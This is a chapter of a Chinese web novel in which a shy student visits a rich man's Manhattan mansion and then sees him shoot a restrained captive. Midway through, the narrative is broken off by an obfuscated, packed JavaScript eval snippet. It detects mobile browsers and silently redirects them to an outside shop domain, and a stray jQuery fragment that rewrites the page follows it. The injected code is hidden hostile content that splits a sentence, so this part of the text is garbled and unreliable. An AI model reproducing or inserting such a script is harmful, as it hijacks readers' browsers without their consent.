万幸库珀没认出他，想来也是，学校里那些所谓的风云人物他都不放在眼里，何况他这种不讨人喜欢的小透明。
至于他的问题……许酌一时不知作何回答。
他跟程表懿现在姑且算朋友？
总之要他真说出那个词，许酌是绝对没有勇气的。
这边程表懿也没急着说两人的关系，而是先看了眼许酌的神情，这才道：“嗯，我和他是朋友。”
许酌连连点头。
库珀狐疑地在两人间扫了眼，显然有点不信。
这两人怎么看都不像常规意义上的朋友，一个高大英挺气势迫人，一个纤细漂亮内敛安静，年龄还差了好几岁，貌似只有都是亚裔血统这一个共同点。
库珀忍不住往另一方面想，可他小叔也不是那种人啊，没准真因为都是亚裔的缘故。
“你看起来好小啊，是初中生？”
初中生？库珀脑子里一天天在想什么？
许酌声如蚊呐：“没有，我上大学了。”
还和他是一个学校好吧，这下可以肯定库珀真是完全不认识他。
“大学？你别骗我，我和亚裔接触得可不少。”
这人这么小一只，身子小脸也小，站在他高大的小叔，旁边可不就跟个……
库珀正欲说什么，程表懿就打断他：“行了，我们先过去吧。”
他小叔都发话了，库珀也不再说什么：“那一起来吧，这边菜都好了，你看看还要不要加些什么爱吃的。”
“没事，不用的。”
“跟我们客气什么，小叔的朋友就是……呃，我的朋友。”
“库珀，上次交给你的任务完成得怎么样？”
这边程表懿又将话接了过去，听到这事，库珀忍不住发出声哀嚎，但还是老老实实地汇报起来。
许酌松下一口气，安静地跟在他们身边。
他们找的地方是处风景很好的户外庭院餐厅，餐区被绿意层层掩映，四周错落着月桂茉莉一类的清雅花卉，非常漂亮的花园布景。
这个时间段食客不多，库珀领着他们去了里面。
此时餐桌边已经坐了不少人，看来就等程表懿了，许酌站在程表懿身边，感觉非常局促。
这些人诚然都和他不是一个阶级的，彼此轻声说笑的样子看着很松弛，朝他看过来的目光却是带着锋芒的打量。
似乎几眼就能将他整个人看透，这种评估式的目光令人很不舒服。
库珀快步走了过去，和几个年龄相仿的男生说笑起来，这才冲淡这种氛围。
程表懿觉察到他的不适，问了句：“你想在这里吃饭吗？”
“嗯？”
认真来说他是不想的，他只是单纯比较怕生，可程表懿愿意带他出来玩也是好心。
“程先生，我没事的。”
“不喜欢的话不要勉强，我们单独去另一边吃就行。”
“不用麻烦的……”
“按你的喜好来办事，不算麻烦。”
程表懿示意他就站在原地，去里桌和那些人说了什么。
隔了些距离，许酌看不清里面的情况，就看到库珀的神情有点意外，朝他这边看了眼。
前后拢共就花了两分钟，程表懿就出来了：“走吧，我们单独去吃。”
“这样可以吗？毕竟……”
毕竟算他的朋友们把他请出来的，因为自己害羞，程表懿就推了他朋友那边，他好像又给对方添了麻烦。
“没事，是我考虑欠佳，没顾及到你的喜好，就直接把你带出来了。”程表懿顿了顿，“你想在这里吃吗？”
“都可以的。”
“那要不要回我家吃？”
跟他相处这么会儿，许酌心里那种紧张感总算消了些，感觉也没有那么排斥和程表懿单独相处了。
似乎是怕他不愿意，程表懿又补了句：“我家里只有我一个人。”
许酌只得点头：“谢谢。”
令许酌没想到的是，程表懿的家竟然就在这附近，开车过去没多久就到了。
作为一栋扎根曼哈顿上东区黄金地段的百年私邸，通体采用深棕褐石砖石砌筑，正统的意式维多利亚建筑风格，庄重而贵气。
经门入户后，映入眼帘的便是别墅的私家庭院，许酌没想到在寸土寸金的曼哈顿会有这么大的私人园林。
一条步道横贯庭院，两侧的大片草坪绵软平整，草色常年青翠，院内则栽种着数棵百年乔木，高大的糖枫与欧洲椴树交错生长，俨然成了荫廊。
两人沿着步道走了片刻后，才终于走到别墅门前。
此时早有侍者在门前恭候，见了两人躬身行礼。
许酌早已看愣了，又想起程表懿说的这地方目前只有他一个人住。
不是，这也太有钱了吧。
他突然觉得程表懿转他那一万刀兴许真不算什么钱了。
屋内同样走的是意式风格，空间挑高更显空阔，灯光全是低照度的暖光，依靠灯带营造氛围，哪怕白天屋内也带着种沉静疏离感。
许酌拘束地在沙发上坐下，金发碧眼的侍者走过来，温声问他要喝什么。
“普通拿铁就行，谢谢。”
侍者微笑应好，很快就端了杯拿铁过来。
“请慢用。”
许酌端起抿了口，牛奶和咖啡融合得非常好，顺滑而绵密。
程表懿随后也走了进来，在沙发边坐下，不消他开口，侍者便依他的口味端了杯咖啡过来。
“想四处逛逛吗？”
许酌拘束归拘束，其实对这种大别墅还是很好奇的，点了点头。
别墅一共四层，第一层是整栋宅邸的公共社交区域，除了会客的主要空间，还设有茶室和佣人休息室，绝大多数对外活动都集中在此层。
二层为私人起居，这里分布着主卧套间与数间配置齐全的客房，走廊错落悬挂着小幅艺术藏品，同样布置得很有雅致。
三楼偏向功能私域，影音室健身房之类的就在这里，四楼是阁楼式顶层，布置了观景休憩区，可以在这里眺望城区的万家灯火。
“泳池在别墅后面，要去看看吗？”
“没事……不用了。”
这样看了一遭下来，许酌心里的震撼更深了。
程表懿适时开口：“这里合你心意吗？”
“嗯？”
“要不要就在这里住下来。”
“啊……”
程表懿顺着他的视线往下看：“这里没有你那里离学校近，不过司机随时都能接送你，出行很方便的。”
他们才认识多久啊，程表懿这就让他在这里住下了？
“你也看到了，这里目前只住了我一个人，你想住客房也可以，我平时工作忙，在家的时间不多，各种功能室你都可以随意使用。”
虽说大别墅很诱人，可许酌还是回绝了他的提议。
“不用了程先生，我还是住我那里吧。”
“行，那想想要吃什么，我让他们去做。”
这时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884535|212504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又有侍者递了个平板过来，许酌点开看了下，这菜单也是种类齐全，按各国菜系精细划分，看得他选择困难症都犯了。
“想吃什么直接点就行。”
程表懿以为是他拘束，又补了句。
这上面的菜看着都挺好吃的，许酌也不好意思让人等太久，就强迫着自己挑了几个。
这在外面都要卖好贵吧，不管点什么都值了。
侍者接过平板，程表懿又道：“我去后面处理下工作，你可以再随便逛逛，等会一起吃饭。”
许酌点头，看程表懿推门去了外面。
还以为他说处理工作是去书房，没想到是去外面。
不过刚才进来的时候，看外面庭院也有可以办公的地方，应该就是去那里了。
许酌没再多想，最开始他会觉得程表懿很不好接近，相处下来发现他的确气势迫人，但面对他时一直都有意无意地压了些。
其实他还是挺细心的，能感觉到他是个社恐，所以尽量给他留独处空间。
其实程先生还算是个……挺温柔的人？
许酌有点被自己的想法弄笑了，起码对自己还算温柔，的确非常让人意外。
就在这时，侍者又走了过来，温声询问他要吃什么果盘。
果盘的话许酌就无所谓了，让她随便来就好，最后端上来的果盘也摆得非常精致，是一盘莓果，撒了山楂和饼干碎。
许酌尝了口，感觉味道也很不错，甜得跟蜜一样。
程表懿让他可以到处逛逛，许酌其实也没什么逛的念头。
这地方修得跟参观的地方一样，可毕竟是别人家里，他逛的话有种侵入别人私密领域的感觉。
索性他就坐在那里吃了会儿果盘，实在感觉有点无聊后，才起身去外面的庭院。
然而刚走出门没多久，许酌便听到一声枪响，登时愣在原地。
什么情况？
有恐怖袭击？
程表懿家大业大，所谓树大招风，引来抢劫犯也不是什么稀奇事。
这地方新闻三天两头就见报枪击案，他刚到这边时为此紧张过一阵。
别的不说，这地方应该有防范枪击的安保方案，只是这枪声传来的位置很近，再好的安保也有百密一疏的时候吧。
不知道程表懿有没有听到枪声，他身边有保镖吗？现在会不会有危险？
刚才见他是一个人出去的，到底是在自己家里，没准身边就没带保镖。
没时间细想，许酌沿墙根往枪声传来的方向摸过去。
后院格局比前面开阔得多，许酌绕过一方喷泉池，鼻尖骤然嗅到股浓烈的铁锈味。
这是……血腥味。
有人中弹了？
他心头一紧，扶着绿篱探出头去。
然后他就看到了程表懿。
此时他正背对着他坐在亭子里，面前跪着两个穿黑西装的保镖，一人按住地上那个男人的肩膀，另一人则踩着他的小腿，叫他整个人趴在地上动弹不得。
被按住的男人浑身是伤，脸上肿得不像样，最触目惊心的是大腿上那个弹孔，正汩汩往外冒血。
中枪的是这个人……
许酌又往旁边移了些，这才看到程表懿手里拿着把枪。
那枪口似乎还萦绕着硝烟，再看看现在的情形，一切都已了然。
他从前只在□□电影里看到的情形，想不到有朝一日能在现实中见到。
再看看程表懿面无表情的脸，许酌只觉一股凉意袭遍全身。